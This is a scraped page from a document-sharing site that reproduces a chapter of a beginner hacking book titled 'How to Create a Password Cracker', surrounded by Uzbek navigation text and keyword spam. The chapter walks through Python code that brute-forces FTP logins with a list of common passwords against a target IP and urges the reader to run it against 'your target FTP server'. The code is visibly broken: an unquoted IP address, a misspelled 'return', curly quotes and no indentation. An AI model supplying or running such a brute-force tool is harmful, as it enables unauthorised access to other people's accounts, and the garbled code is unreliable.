Hacking: Hacking Practical Guide for Beginners


How to Create a Password Cracker



Download 10,87 Mb.
Pdf ko'rish
bet10/26
Sana19.05.2023
Hajmi10,87 Mb.
#941182
1   ...   6   7   8   9   10   11   12   13   ...   26
Bog'liq
Hacking Hacking Practical Guide for Beginners (Hacking With Python) ( PDFDrive )

How to Create a Password Cracker
At this point, you’ve learned many things about the Python language. Let’s use that
knowledge to create a hacking tool: a password cracker. The program that you will create
is designed for FTP (File Transfer Protocol) accounts. Here are the steps:
1. Launch a text editor.
2. Import three modules: (1) socket, (2) re, and (3) sys.
3. Generate one socket that connects to a specific IP address through the 21
st
port.
4. Create a variable.
5. Generate a list named “passwords” and fill it with various passwords.
6. Write a loop to test each password. The process will continue until all of the
passwords have been used or the program gets “230” as a response from the target
FTP server.
The code that you must type is:
#!usr/bin/ python
 
import socket
import re
import sys
def connect(username,password):
sample = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print “[*] Checking “+ username + “:” + password
sample.connect((192.168.1.105, 21))
data = sample.recv(1024)
sample.send(‘USER ‘ + username + ‘\r\n’)
data = sample.recv(1024)
sample.send(‘PASS ‘ + password + ‘\r\n’)
data = sample.recv(3)
sample.send(‘QUIT \r\n’)


sample.close()
returen data
username = “SampleName”
passwords = [“123”, “ftp”, “root”, “admin”, “test”, “backup”, “password”]
for password in passwords:
attempt = connect(username, password)
if attempt == “230”:
print “[*] password found: ” + password
sys.exit(0)
Save the file as “passwordcracker.py”. Then, obtain the permission to execute the program
and run it against your target FTP server.
Important Note: The code given above isn’t cast in stone. You may modify it according to
your preferences and/or situation. Once you become a skilled Python programmer, you
will be able to improve the flexibility and effectiveness of this password cracker.




Download 10,87 Mb.

Do'stlaringiz bilan baham:
1   ...   6   7   8   9   10   11   12   13   ...   26




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish